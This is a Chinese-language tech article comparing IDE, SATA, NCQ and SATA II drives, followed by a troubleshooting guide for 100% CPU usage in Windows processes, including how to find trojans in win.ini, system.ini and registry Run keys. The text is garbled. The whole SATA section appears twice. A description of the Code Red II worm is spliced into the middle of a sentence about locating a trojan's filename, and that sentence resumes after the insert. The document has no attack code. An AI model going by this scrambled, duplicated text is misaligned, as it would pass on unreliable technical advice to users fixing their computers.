SATA与原来的IDE相比有很多优越性，最明显的就是数据线从80 pin变成了7 pin，而且IDE线的长度不能超过0.4米，而SATA线可以长达1米，安装更方便，利于机箱散热。除此之外，它还有很多优点：
一对一连接，没有主从盘的烦恼
每个设备都直接与主板相连，独享150M字节/秒带宽，设备间的速度不会互相影响。
支持热拔插
热拔插对于普通家庭用户来说可能作用不大，但对于服务器却是至关重要。事实上，SATA在低端服务器应用上取得的成功，远比在普通家庭应用中的影响力大。
数据传输更加可靠
SATA提高了错误检查的能力，除了对CRC对数据检错之外，还会对命令和状态包进行检错，因此和并行ATA相比提高了接入的整体精确度，使串行ATA在企业RAID和外部存储应用中具有更大的吸引力。
低电压信号
SATA的信号电压最高只有0.5伏，低电压一方面能更好地适应新平台强调3.3伏的电源趋势，另一方面有利于速度的提高。
带宽升级潜力大
SATA不依赖于系统总线的带宽，而是内置时钟。刚推出的这一代SATA内置1500MHz时钟，可以达到150M字节/秒的接口带宽。由于不再依赖系统总线频率，每一代SATA升级带宽的增加都是成倍的：下一代300M字节/秒，再下一代可以达到600M字节/秒
SATA仍然存在的几点不足
在国内，现在买IDE的人恐怕比买SATA的人多很多。主要有三个方面的原因：
首先，SATA的诸多先进性总体上对个人电脑用户意义不是太大，它最大的意义的反而是适应了入门级企业应用的需要。
其次，nForce4、915之前的那些主板使用SATA硬盘，在安装操作系统的时候需要用到软盘，就象SCSI硬盘那样，增添了用户的麻烦。
另外，国内用户的电脑配置相对落后，很多人都是旧电脑升级大容量硬盘，稍老点的主板还不支持SATA硬盘。
所以，SATA最大的成功在于吸引了很多低端入门级服务器的用户。但在企业级应用方面，它又仍然在很多方面有待改进：
单线程的机械底盘
SATA毕竟只是ATA，它的机械底盘是为8x5线程设计的，而SCSI的机械底盘是24x7多线程设计，能更好地满足服务器多任务的需要。所以 SATA虽然在单任务的测试中不比SCSI差，但面对大数据吞吐量的服务器，还是有差距的。除了速度之外，面对多任务数据读取，硬盘磁头频繁地来回摆动，使硬盘过热是SATA最大的问题。
形同虚设的热拔插功能
在实际应用中，RAID硬盘阵列是由多个硬盘组成的，必须知道具体哪一块硬盘坏了，热拔插更换才有意义。SATA硬盘虽然可以热拔插，但SATA组成的阵列在某块硬盘损坏的时候，不能象SCSI、FC和SAS那样，具有SAF- TE机制用指示灯显示，知道具体坏的是哪一块，热拔插替换的时候，如果取下的是好硬盘，就容易使数据出错。所以在实际应用中，SATA的热拔插功能有点形同虚设的味道。
速度慢
SATA相对于SCSI和FC速度慢，主要原因是机械底盘不同，不适应服务器应用程序大量非线性的读取请求。所以SATA硬盘用来做视频下载服务器还不错，用在网上交易平台则力不从心。
SATA 1.0控制器的传输速度效率不高，虽然标称具有150MB/s的峰值速度，事实上最快的SATA硬盘速度也只有60MB/s。
整个解决方案价格不
虽然SATA硬盘相对于SCSI硬盘来说很便宜，但整个的SATA方案并不便宜。主要原因是SATA 1.0控制器的每个接口只能连接一个硬盘，8个硬盘组成的阵列需要8个接口，把每个接口300多元的花费算进去，就不便宜了。
SATA II与准SATA II
很多人到现在都还不是太清楚SATA与Ultra ATA相比有什么区别与好处，这也难怪。因为连Intel刚推出SATA的时候，也没想到这个为个人用户而改进的方案，结果会在入门级服务器和工作站等企业应用的前前景更为广大——也正因为这样，2004年才专门成立了SATA IO（SATA国际组织）。
前面那么多介绍，是结合现实情况与SATA官方白皮书整理的，从中已经可以发现，说到SATA优缺点，更多的是从企业应用而不是个人与家庭应用的角度考虑的。
现在经常听到“NCQ硬盘”和“SATA II硬盘”这两个名词，它们是SATA向下一代——SATA II发展的两个不同阶段的产品：
第一阶段是在SATA的基础上加入NCQ原生指令排序、存储设备管理（Enclosure Management）、底板互连、数据分散/集中这四项新特性。
第二阶段是在第一阶段的基出上作进一步改进，加入了双宿主主动式故障替换、与多个硬盘高效连接、3.0Gb（即300MB/s）接口带宽等特性。
“NCQ硬盘”的改进：不仅仅是NCQ这么简单
由于SATA II的第一阶段几项改进中，NCQ原生指令排序技术对个人用户意义比较大，所以也只有这一项技术比较多人了解。其实SATA II第一阶段加入的技术包括如下几项：
NCQ原生指令排序
Native command queuing：什么是NCQ呢？这是SCSI早就使用的一种技术，只是最近才应用于SATA硬盘。
传统台式机硬盘都用线性形式处理请求，这种方式潜在很不好的方面，要理解其中原理，必须对硬盘物理结构有个基本了解。硬盘里面是圆盘状的，很象CD光盘。每一个圆盘由许多同心圆划分为一条条磁道，磁道又分出扇区。每个圆盘由一个或多个磁头负责读取。如果数据分布在同一磁道，寻找数据的速度是最快的。在不同磁道之间移动则消耗很多时间。假设要读取三块数据，其中一块在圆盘最外边的磁道上，一块在圆盘最里面的磁道上，还有一块在圆盘最外边的磁道上。传统的硬盘，会依次先读取圆盘最外面的数据，然后读取最里面的数据，最后再回头读取最外面的数据。这样一来，磁头移来移动消耗的寻道时间多，效率就低了。如果把磁头移动减到最少，寻道时间就会相应减少。这就是NCQ的目的所在——NCQ可以重新编排指令，不让磁头从外移到内再移到外，而是在移向圆盘内圈之前就读取外圈的两块数据。
现在大家应该明白了，CPU的速度对硬盘性能影响微乎其微，但NCQ技术则可以明显改善硬盘性能，特别是对前面提到的SATA多线程性能差、容易磁头频繁来回摆动、硬盘容易过热这些方面有很大改善。
机架管理（Enclosure Management）
前面提到SATA的热拔插技术，由于阵列中有一块硬盘出现故障的时候，不知道具体坏的是哪一块而形同虚设。SATA II第一阶段即拥有NCQ技术的SATA硬盘，加入了机架管理技术，正是用来解决这一问题的。
背板互连(Backplane Interconnect)
SATA用于数据发送的导线数量很小，因而出现了为外部RAID使用而部署的底板。
该底板是一块物理线路板，通常集成到机架的后面板上，上面嵌入了通过刻在线路板上的导线连接到中心控制器插件的多个设备接头。值得注意的是，中心控制器与主机的接口可以按任意一种协议来设计，可以是SCSI、光纤通道或iSCSI。底板的使用可使设备咬住接头并紧密结合。
当然，受到FR4材质信号衰减的限制，中心控制器和SATA设备接头之间蚀刻线路的最大长度必须限制在18英寸以内。虽然这种限制表面上局限了底板端子和SATA机架的设计，而事实上，标准机架为19英寸宽，因此，在一个1U到3U的机架内，为SATA而蚀刻的最大导线长度足以从一个位置适中的中心控制器连接到所有设备接头。
SATA II不等于300MB/s
首先，是接口带宽从原来的150MB/s扩展到了300MB/s。但SATA II不能与300MB/s划等号，因为它包含了SATA II第一阶段的NCQ等技术，以及更多的其它技术：
其次，SATA II可以通过Port Multiplier，让每一个SATA接口可以连接4-8个硬盘，即主板有4个SATA接口，可以连接最多32个硬盘。
另外，还有一个非常有趣的技术，叫Dual host active fail over。它可以通过Port Selector接口选择器，让两台主机同时接一个硬盘。这样，当一台主机出现故障的时候，另一台备用机可以接管尚为完好的硬盘阵列和数据，这就确保服务器不管在某块硬盘损坏，或是某坏CPU之类的其它配件损坏的情况下，仍能正常运作。
结语：给个人电脑用户的特别提示
最后，相信大家对IDE、SATA、NCQ、SATA II已经有了比较整体的认识。或许很多关于服务器方面的技术还不太明白，其实这没关系，最重要的是获得这样一个概念：SATA、SATA II的改进，大多数不是为个人电脑用户而设的。
SATA对个人电脑用户真正有意义的地方，也就是让机箱散热更加良好。但与此同时，如果你的主板不支持SATA II，在获得这样一个好处的同时，安装windows操作系统会比较麻烦——需要插入SATA的驱动软盘。所以IDE用户千万别以为SATA更先进，改用更先进的SATA硬盘会有多大的性能提升。
使用支持NCQ技术的硬盘，对喜欢同时运行很多个程序的用户可能会有速度上的改进，而且由于磁头比较少来回摆动，硬盘会比较长寿，温度也会比较低。但前面没有提到的一个必要前提是，必须主板和硬盘都支持NCQ技术才起作用。
至于SATA II，唯一对个人电脑用户有意义的就是300MB/s的带宽——当然，SATA II全都是支持NCQ的。不过千万别指望带宽比原来增加了一倍，就可以获得接近于SATA两倍的速度，因为目前硬盘的速度主要是受硬盘内部数据传输率的限制，而不在于接口带宽，接口带宽的增加对个人用户带来的速度改善，是微乎其微的。同样，SATA II的好处——支持NCQ和300MB/s的带宽，必须要主板支持，在只支持SATA I的主板上使用SATA II硬盘，就连“微乎其微”的改善也不会有。
总体来说，SATA、NCQ以至完整的SATA II，对一般个人电脑用户的意义不是非常大，它们最大的意义在于为企业应用提供了SCSI、FC之外的廉价存储解决方案——当然如果几种硬盘的价格相差很小的话，尽可能选最先进的SATA II是没错的。如果担心新技术会不成熟存在某些未知缺陷，继续选择SATA I硬盘甚至是IDE硬盘，也是相当不错的方案。
在深入了解新标准之前，有必要回顾一下原有的技术。长期以来，硬盘技术的进步，都着重于传输速度和容量两个方面。基本上认识电脑以来，大家就一直在使用Ultra ATA。这种延用已久的接口技术，有好些方面都显得过时而需要改进了：
大家都知道，数据线太粗，安装不方便，严重影响机箱内空气流通，不利于机箱散热，是传统IDE接口即Ultra ATA硬盘的至命缺点。不过，IDE硬盘还有很多其它方面的局限性，大概就不是很多人都清楚了。
主从盘相互影响
普遍情况下，一块主板只有两个IDE接口，每个接口可以挂两个IDE设备。但同一个接口的两个设备是共用带宽的，对速度的影响非常大。所以稍有常识的人，都会把硬盘和光驱分开两条IDE线连接到主板上
这样，IDE有个很大的问题，就是虽然一块主板可以连接4个设备，但事实上只要超过两个，速度就大大下降。
更大的问题是，同一条线上两个设备要严格按主/从设置才能正常运行。象图中这种西数WD400 JB，主硬盘还有两种不同设置，一条IDE线只接这块硬盘的时候按右边的设置，带从盘的时候则要按中间的设置方式。据亲身经验，如果没带从盘而按中间的方式设了，会出现五花八门百思不得其解的问题——有时可以启动，有时报告找不到硬盘，有时启动过程中报告硬盘错误之类——每次启动可能出现不同的问题。
不支持热拔插
并行ATA在支持设备热插拔方面能力有限，这一点对服务器方面的应用非常重要。因为服务器通常采用RAID的方式，任何一块硬盘坏了都可以热拔插更换，而不影响数据的完整性，确保服务器任何情况下都正常开着。具有热插拔支持功能的SCSI和光纤通道占据了企业级应用的几乎全部市场，并行ATA空有价格优势而不能获得一席之地，主要原因就是它不支持热拔插。
不够完善的错误检验技术
Ultra DMA引入了基于CRC的数据包出错检测，该技术是ATA-3标准的组成部分。但是，没有任何一种并行ATA标准提供命令和状态包的出错检测。尽管命令和状态包出错的范围和几率都小，但它们出错的可能性也不容忽略。
使用过时的5伏电压
处理器核心从几个方面要求向低电压过渡。较低电压允许更快的信号陡变，这对提高速度、降低热耗至关重要。现在的CPU核心电压基本上都小于2伏，为保持与系统主板上其它芯片的互操作性，通常使用3.3伏的外部电压分离出来，5伏电压成为过时的标准。虽然大部分目前的 ATA/ATAPI-6标准为并行ATA设备指定的直流电压供应为3.3V （± 8%），但一些模式的接收器大于4伏，所以要使用过时的5伏电压。
接口速度的可升级性差
另外，Ultra ATA是受并行总线特性的限制，带宽容易受到限制，经过多次升级，目前最高传输率也只是133M字节/秒。
SATA比IDE优越在哪些地方？
SATA不再使用过时的并行总线接口，转用串行总线，整个风格完全改变。
SATA与原来的IDE相比有很多优越性，最明显的就是数据线从80 pin变成了7 pin，而且IDE线的长度不能超过0.4米，而SATA线可以长达1米，安装更方便，利于机箱散热。除此之外，它还有很多优点：
一对一连接，没有主从盘的烦恼
每个设备都直接与主板相连，独享150M字节/秒带宽，设备间的速度不会互相影响。
支持热拔插
热拔插对于普通家庭用户来说可能作用不大，但对于服务器却是至关重要。事实上，SATA在低端服务器应用上取得的成功，远比在普通家庭应用中的影响力大。
数据传输更加可靠
SATA提高了错误检查的能力，除了对CRC对数据检错之外，还会对命令和状态包进行检错，因此和并行ATA相比提高了接入的整体精确度，使串行ATA在企业RAID和外部存储应用中具有更大的吸引力。
低电压信号
SATA的信号电压最高只有0.5伏，低电压一方面能更好地适应新平台强调3.3伏的电源趋势，另一方面有利于速度的提高。
带宽升级潜力大
SATA不依赖于系统总线的带宽，而是内置时钟。刚推出的这一代SATA内置1500MHz时钟，可以达到150M字节/秒的接口带宽。由于不再依赖系统总线频率，每一代SATA升级带宽的增加都是成倍的：下一代300M字节/秒，再下一代可以达到600M字节/秒
SATA仍然存在的几点不足
在国内，现在买IDE的人恐怕比买SATA的人多很多。主要有三个方面的原因：
首先，SATA的诸多先进性总体上对个人电脑用户意义不是太大，它最大的意义的反而是适应了入门级企业应用的需要。
其次，nForce4、915之前的那些主板使用SATA硬盘，在安装操作系统的时候需要用到软盘，就象SCSI硬盘那样，增添了用户的麻烦。
另外，国内用户的电脑配置相对落后，很多人都是旧电脑升级大容量硬盘，稍老点的主板还不支持SATA硬盘。
所以，SATA最大的成功在于吸引了很多低端入门级服务器的用户。但在企业级应用方面，它又仍然在很多方面有待改进：
单线程的机械底盘
SATA毕竟只是ATA，它的机械底盘是为8x5线程设计的，而SCSI的机械底盘是24x7多线程设计，能更好地满足服务器多任务的需要。所以 SATA虽然在单任务的测试中不比SCSI差，但面对大数据吞吐量的服务器，还是有差距的。除了速度之外，面对多任务数据读取，硬盘磁头频繁地来回摆动，使硬盘过热是SATA最大的问题。
形同虚设的热拔插功能
在实际应用中，RAID硬盘阵列是由多个硬盘组成的，必须知道具体哪一块硬盘坏了，热拔插更换才有意义。SATA硬盘虽然可以热拔插，但SATA组成的阵列在某块硬盘损坏的时候，不能象SCSI、FC和SAS那样，具有SAF- TE机制用指示灯显示，知道具体坏的是哪一块，热拔插替换的时候，如果取下的是好硬盘，就容易使数据出错。所以在实际应用中，SATA的热拔插功能有点形同虚设的味道。
速度慢
SATA相对于SCSI和FC速度慢，主要原因是机械底盘不同，不适应服务器应用程序大量非线性的读取请求。所以SATA硬盘用来做视频下载服务器还不错，用在网上交易平台则力不从心。
SATA 1.0控制器的传输速度效率不高，虽然标称具有150MB/s的峰值速度，事实上最快的SATA硬盘速度也只有60MB/s。
整个解决方案价格不
虽然SATA硬盘相对于SCSI硬盘来说很便宜，但整个的SATA方案并不便宜。主要原因是SATA 1.0控制器的每个接口只能连接一个硬盘，8个硬盘组成的阵列需要8个接口，把每个接口300多元的花费算进去，就不便宜了。
SATA II与准SATA II
很多人到现在都还不是太清楚SATA与Ultra ATA相比有什么区别与好处，这也难怪。因为连Intel刚推出SATA的时候，也没想到这个为个人用户而改进的方案，结果会在入门级服务器和工作站等企业应用的前前景更为广大——也正因为这样，2004年才专门成立了SATA IO（SATA国际组织）。
前面那么多介绍，是结合现实情况与SATA官方白皮书整理的，从中已经可以发现，说到SATA优缺点，更多的是从企业应用而不是个人与家庭应用的角度考虑的。
现在经常听到“NCQ硬盘”和“SATA II硬盘”这两个名词，它们是SATA向下一代——SATA II发展的两个不同阶段的产品：
第一阶段是在SATA的基础上加入NCQ原生指令排序、存储设备管理（Enclosure Management）、底板互连、数据分散/集中这四项新特性。
第二阶段是在第一阶段的基出上作进一步改进，加入了双宿主主动式故障替换、与多个硬盘高效连接、3.0Gb（即300MB/s）接口带宽等特性。
“NCQ硬盘”的改进：不仅仅是NCQ这么简单
由于SATA II的第一阶段几项改进中，NCQ原生指令排序技术对个人用户意义比较大，所以也只有这一项技术比较多人了解。其实SATA II第一阶段加入的技术包括如下几项：
NCQ原生指令排序
Native command queuing：什么是NCQ呢？这是SCSI早就使用的一种技术，只是最近才应用于SATA硬盘。
传统台式机硬盘都用线性形式处理请求，这种方式潜在很不好的方面，要理解其中原理，必须对硬盘物理结构有个基本了解。硬盘里面是圆盘状的，很象CD光盘。每一个圆盘由许多同心圆划分为一条条磁道，磁道又分出扇区。每个圆盘由一个或多个磁头负责读取。如果数据分布在同一磁道，寻找数据的速度是最快的。在不同磁道之间移动则消耗很多时间。假设要读取三块数据，其中一块在圆盘最外边的磁道上，一块在圆盘最里面的磁道上，还有一块在圆盘最外边的磁道上。传统的硬盘，会依次先读取圆盘最外面的数据，然后读取最里面的数据，最后再回头读取最外面的数据。这样一来，磁头移来移动消耗的寻道时间多，效率就低了。如果把磁头移动减到最少，寻道时间就会相应减少。这就是NCQ的目的所在——NCQ可以重新编排指令，不让磁头从外移到内再移到外，而是在移向圆盘内圈之前就读取外圈的两块数据。
现在大家应该明白了，CPU的速度对硬盘性能影响微乎其微，但NCQ技术则可以明显改善硬盘性能，特别是对前面提到的SATA多线程性能差、容易磁头频繁来回摆动、硬盘容易过热这些方面有很大改善。
机架管理（Enclosure Management）
前面提到SATA的热拔插技术，由于阵列中有一块硬盘出现故障的时候，不知道具体坏的是哪一块而形同虚设。SATA II第一阶段即拥有NCQ技术的SATA硬盘，加入了机架管理技术，正是用来解决这一问题的。
背板互连(Backplane Interconnect)
SATA用于数据发送的导线数量很小，因而出现了为外部RAID使用而部署的底板。
该底板是一块物理线路板，通常集成到机架的后面板上，上面嵌入了通过刻在线路板上的导线连接到中心控制器插件的多个设备接头。值得注意的是，中心控制器与主机的接口可以按任意一种协议来设计，可以是SCSI、光纤通道或iSCSI。底板的使用可使设备咬住接头并紧密结合。
当然，受到FR4材质信号衰减的限制，中心控制器和SATA设备接头之间蚀刻线路的最大长度必须限制在18英寸以内。虽然这种限制表面上局限了底板端子和SATA机架的设计，而事实上，标准机架为19英寸宽，因此，在一个1U到3U的机架内，为SATA而蚀刻的最大导线长度足以从一个位置适中的中心控制器连接到所有设备接头。
SATA II不等于300MB/s
首先，是接口带宽从原来的150MB/s扩展到了300MB/s。但SATA II不能与300MB/s划等号，因为它包含了SATA II第一阶段的NCQ等技术，以及更多的其它技术：
其次，SATA II可以通过Port Multiplier，让每一个SATA接口可以连接4-8个硬盘，即主板有4个SATA接口，可以连接最多32个硬盘。
另外，还有一个非常有趣的技术，叫Dual host active fail over。它可以通过Port Selector接口选择器，让两台主机同时接一个硬盘。这样，当一台主机出现故障的时候，另一台备用机可以接管尚为完好的硬盘阵列和数据，这就确保服务器不管在某块硬盘损坏，或是某坏CPU之类的其它配件损坏的情况下，仍能正常运作。
结语：给个人电脑用户的特别提示
最后，相信大家对IDE、SATA、NCQ、SATA II已经有了比较整体的认识。或许很多关于服务器方面的技术还不太明白，其实这没关系，最重要的是获得这样一个概念：SATA、SATA II的改进，大多数不是为个人电脑用户而设的。
SATA对个人电脑用户真正有意义的地方，也就是让机箱散热更加良好。但与此同时，如果你的主板不支持SATA II，在获得这样一个好处的同时，安装windows操作系统会比较麻烦——需要插入SATA的驱动软盘。所以IDE用户千万别以为SATA更先进，改用更先进的SATA硬盘会有多大的性能提升。
使用支持NCQ技术的硬盘，对喜欢同时运行很多个程序的用户可能会有速度上的改进，而且由于磁头比较少来回摆动，硬盘会比较长寿，温度也会比较低。但前面没有提到的一个必要前提是，必须主板和硬盘都支持NCQ技术才起作用。
至于SATA II，唯一对个人电脑用户有意义的就是300MB/s的带宽——当然，SATA II全都是支持NCQ的。不过千万别指望带宽比原来增加了一倍，就可以获得接近于SATA两倍的速度，因为目前硬盘的速度主要是受硬盘内部数据传输率的限制，而不在于接口带宽，接口带宽的增加对个人用户带来的速度改善，是微乎其微的。同样，SATA II的好处——支持NCQ和300MB/s的带宽，必须要主板支持，在只支持SATA I的主板上使用SATA II硬盘，就连“微乎其微”的改善也不会有。
总体来说，SATA、NCQ以至完整的SATA II，对一般个人电脑用户的意义不是非常大，它们最大的意义在于为企业应用提供了SCSI、FC之外的廉价存储解决方案——当然如果几种硬盘的价格相差很小的话，尽可能选最先进的SATA II是没错的。如果担心新技术会不成熟存在某些未知缺陷，继续选择SATA I硬盘甚至是IDE硬盘，也是相当不错的方案。
CPU占用率为何会达到100％
1、 dllhost进程造成CPU使用率占用100%
特征:服务器正常CPU消耗应该在75%以下，而且CPU消耗应该是上下起伏的，出现这种问题的服务器，CPU会突然一直处100%的水平，而且不会下降。查看任务管理器，可以发现是DLLHOST.EXE消耗了所有的CPU空闲时间，管理员在这种情况下，只好重新启动IIS服务，奇怪的是，重新启动IIS服务后一切正常，但可能过了一段时间后，问题又再次出现了。
直接原因:
有一个或多个ACCESS数据库在多次读写过程中损坏，微软的 MDAC 系统在写入这个损坏的ACCESS文件时，ASP线程处于BLOCK状态，结果其它线程只能等待，IIS被死锁了，全部的CPU时间都消耗在DLLHOST中。
解决办法:
安装“一流信息监控拦截系统”，使用其中的“首席文件检查官IIS健康检查官”软件，
启用”查找死锁模块”，设置:
--wblock=yes
监控的目录，请指定您的主机的文件所在目录:
--wblockdir=d:\test
监控生成的日志的文件保存位置在安装目录的log目录中，文件名为:logblock.htm
停止IIS，再启动“首席文件检查官IIS健康检查官”，再启动IIS，“首席文件检查官IIS健康检查官”会在logblock.htm中记录下最后写入的ACCESS文件的。
过了一段时间后，当问题出来时，例如CPU会再次一直处100%的水平，可以停止IIS，检查logblock.htm所记录的最后的十个文件，注意，最有问题的往往是计数器类的ACCESS文件，例如:”**COUNT. MDB ”，”**COUNT.ASP”，可以先把最后十个文件或有所怀疑的文件删除到回收站中，再启动IIS，看看问题是否再次出现。我们相信，经过仔细的查找后，您肯定可以找到这个让您操心了一段时间的文件的。
找到这个文件后，可以删除它，或下载下来，用ACCESS2000修复它，问题就解决了。
2、 svchost.exe造成CPU使用率占用100%
在win.ini文件中，在[Windows]下面，“run=”和“load=”是可能加载“木马”程序的途径，必须仔细留心它们。一般情况下，它们的等号后面什幺都没有，如果发现后面跟有路径与文件名不是你熟悉的启动文件，你的计算机就可能中上“木马”了。当然你也得看清楚，因为好多“木马”，如“AOL Trojan木马”，它把自身伪装成command.exe文件，如果不注意可能不会发现它不是真正的系统启动文件。
在system.ini文件中，在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell= explorer.exe 程序名”，那幺后面跟着的那个程序就是“木马”程序，就是说你已经中“木马”了。
在注册表中的情况最复杂，通过regedit命令打开注册表编辑器，在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下，查看键值中有没有自己不熟悉的自动启动文件，扩展名为EXE，这里切记:有的“木马”程序生成的文件很像系统自身文件，想通过伪装蒙混过关，如“Acid Battery v1.0木马”，它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的Explorer 键值改为Explorer=“C:\Windows\expiorer.exe”，“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序，如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能，最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马该病毒也称为“Code Red II(红色代码2)”病毒，与早先在西方英文系统下流行“红色代码”病毒有点相反，在国际上被称为VirtualRoot(虚拟目录)病毒。该蠕虫病毒利用Microsoft已知的溢出漏洞，通过80端口来传播到其它的Web页服务器上。受感染的机器可由黑客们通过Http Get的请求运行scripts/root.exe来获得对受感染机器的完全控制权。
当感染一台服务器成功了以后，如果受感染的机器是中文的系统后，该程序会休眠2天，别的机器休眠1天。当休眠的时间到了以后，该蠕虫程序会使得机器重新启动。该蠕虫也会检查机器的月份是否是10月或者年份是否是2002年，如果是，受感染的服务器也会重新启动。当Windows NT系统启动时，NT系统会自动搜索C盘根目录下的文件explorer.exe，受该网络蠕虫程序感染的服务器上的文件explorer.exe也就是该网络蠕虫程序本身。该文件的大小是8192字节，VirtualRoot网络蠕虫程序就是通过该程序来执行的。同时，VirtualRoot网络蠕虫程序还将cmd.exe的文件从Windows NT的system目录拷贝到别的目录，给黑客的入侵敞开了大门。它还会修改系统的注册表项目，通过该注册表项目的修改，该蠕虫程序可以建立虚拟的目录C或者D，病毒名由此而来。值得一提的是，该网络蠕虫程序除了文件explorer.exe外，其余的操作不是基于文件的，而是直接在内存中来进行感染、传播的，这就给捕捉带来了较大难度。
”程序的文件名，再在整个注册表中搜索即可。
我们先看看微软是怎样描述svchost.exe的。在微软知识库314056中对svchost.exe有如下描述:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。
其实svchost.exe是Windows XP系统的一个核心进程。svchost.exe不单单只出现在Windows XP中，在使用NT内核的Windows系统中都会有svchost.exe的存在。一般在Windows 2000中svchost.exe进程的数目为2个，而在Windows XP中svchost.exe进程的数目就上升到了4个及4个以上。所以看到系统的进程列表中有几个svchost.exe不用那幺担心。
svchost.exe到底是做什幺用的呢?
首先我们要了解一点那就是Windows系统的中的进程分为:独立进程和共享进程这两种。由于Windows系统中的服务越来越多，为了节约有限的系统资源微软把很多的系统服务做成了共享模式。那svchost.exe在这中间是担任怎样一个角色呢?
svchost.exe的工作就是作为这些服务的宿主，即由svchost.exe来启动这些服务。svchost.exe只是负责为这些服务提供启动的条件，其自身并不能实现任何服务的功能，也不能为用户提供任何服务。svchost.exe通过为这些系统服务调用动态链接库(DLL)的方式来启动系统服务。
svchost.exe是病毒这种说法是任何产生的呢?
因为svchost.exe可以作为服务的宿主来启动服务，所以病毒、木马的编写者也挖空心思的要利用svchost.exe的这个特性来迷惑用户达到入侵、破坏计算机的目的。
如何才能辨别哪些是正常的svchost.exe进程，而哪些是病毒进程呢?
svchost.exe的键值是在“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost”，如图1所示。图1中每个键值表示一个独立的svchost.exe组。
微软还为我们提供了一种察看系统正在运行在svchost.exe列表中的服务的方法。以Windows XP为例:在“运行”中输入:cmd，然后在命令行模式中输入:tasklist /svc。系统列出如图2所示的服务列表。图2中红框包围起来的区域就是svchost.exe启动的服务列表。如果使用的是Windows 2000系统则把前面的“tasklist /svc”命令替换为:“tlist -s”即可。如果你怀疑计算机有可能被病毒感染，svchost.exe的服务出现异常的话通过搜索 svchost.exe文件就可以发现异常情况。一般只会找到一个在:“C:\Windows\System32”目录下的svchost.exe程序。如果你在其它目录下发现svchost.exe程序的话，那很可能就是中毒了。
还有一种确认svchost.exe是否中毒的方法是在任务管理器中察看进程的执行路径。但是由于在Windows系统自带的任务管理器不能察看进程路径，所以要使用第三方的进程察看工具。
上面简单的介绍了svchost.exe进程的相关情况。总而言之，svchost.exe是一个系统的核心进程，并不是病毒进程。但由于svchost.exe进程的特殊性，所以病毒也会千方百计的入侵svchost.exe。通过察看svchost.exe进程的执行路径可以确认是否中毒。
3、 Services.exe造成CPU使用率占用100%
症状
在基于 Windows 2000 的计算机上，Services.exe 中的 CPU 使用率可能间歇性地达到100 %，并且计算机可能停止响应(挂起)。出现此问题时，连接到该计算机(如果它是文件服务器或域控制器)的用户会被断开连接。您可能还需要重新启动计算机。如果 Esent.dll 错误地处理将文件刷新到磁盘的方式，则会出现此症状。
解决方案
Service Pack 信息
要解决此问题，请获取最新的 Microsoft Windows 2000 Service Pack。有关其它信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章:
260910 如何获取最新的 Windows 2000 Service Pack
修复程序信息
Microsoft 提供了受支持的修补程序，但该程序只是为了解决本文所介绍的问题。只有计算机遇到本文提到的特定问题时才可应用此修补程序。此修补程序可能还会接受其它一些测试。因此，如果这个问题没有对您造成严重的影响，Microsoft 建议您等待包含此修补程序的下一个 Windows 2000 Service Pack。
要立即解决此问题，请与“Microsoft 产品支持服务”联系，以获取此修补程序。有关“Microsoft 产品支持服务”电话号码和支持费用信息的完整列表，请访问 Microsoft Web 站点:
注意 :特殊情况下，如果 Microsoft 支持专业人员确定某个特定的更新程序能够解决您的问题，可免收通常情况下收取的电话支持服务费用。对于特定更新程序无法解决的其它支持问题和事项，将正常收取支持费用。
下表列出了此修补程序的全球版本的文件属性(或更新的属性)。这些文件的日期和时间按协调通用时间 (UTC) 列出。查看文件信息时，它将转换为本地时间。要了解 UTC 与本地时间之间的时差，请使用“控制面板”中的“日期和时间”工具中的 时区 选项卡。
状态
Microsoft 已经确认这是在本文开头列出的 Microsoft 产品中存在的问题。此问题最初是在 Microsoft Windows 2000 Service Pack 4 中更正的。
4、正常软件造成CPU使用率占用100%
首先，如果是从开机后就发生上述情况直到关机。那幺就有可能是由某个随系统同时登陆的软件造成的。可以通过运行输入“msconfig”打开“系统实用配置工具”，进入“启动”选项卡。接着，依次取消可疑选项前面的对钩，然后重新启动电脑。反复测试直到找到造成故障的软件。或者可以通过一些优化软件如“优化大师”达到上述目的。另:如果键盘内按键卡住也可能造成开机就出现上述问题。
如果是使用电脑途中出项这类问题，可以调出任务管理器(WINXP CTRL+ALT+DEL WIN2000 CTRL+SHIFT“ESC)，进入”进程“选项卡，看”CPU“栏，从里面找到占用资源较高的程序(其中SYSTEM IDLE PROCESS是属于正常，它的值一般都很高，它的作用是告诉当前你可用的CPU资源是多少，所以它的值越高越好)通过搜索功能找到这个进程属于哪个软件。然后，可以通过升级、关闭、卸载这个软件或者干脆找个同类软件替换，问题即可得到解决。
5、病毒、木马、间谍软件造成CPU使用率占用100%
出现CPU占用率100% 的故障经常是因为病毒木马造成的，比如震荡波病毒。应该首先更新病毒库，对电脑进行全机扫描 。接着，在使用反间谍软件Ad—Aware，检查是否存在间谍软件。论坛上有不少朋友都遇到过svchost.exe占用CPU100%，这个往往是中毒的表现。
svchost.exe Windows中的系统服务是以动态链接库(DLL)的形式实现的，其中一些会把可执行程序指向svchost.exe，由它调用相应服务的动态链接库并加上相应参数来启动服务。正是因为它的特殊性和重要性，使它更容易成为了一些病毒木马的宿主。
6、 explorer.exe进程造成CPU使用率占用100%
在system.ini文件中，在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell= explorer.exe 程序名”，那幺后面跟着的那个程序就是“木马”程序，就是说你已经中“木马”了。
在注册表中的情况最复杂，通过regedit命令打开注册表编辑器，在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下，查看键值中有没有自己不熟悉的自动启动文件，扩展名为EXE，这里切记:有的“木马”程序生成的文件很像系统自身文件，想通过伪装蒙混过关，如“Acid Battery v1.0木马”，它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的
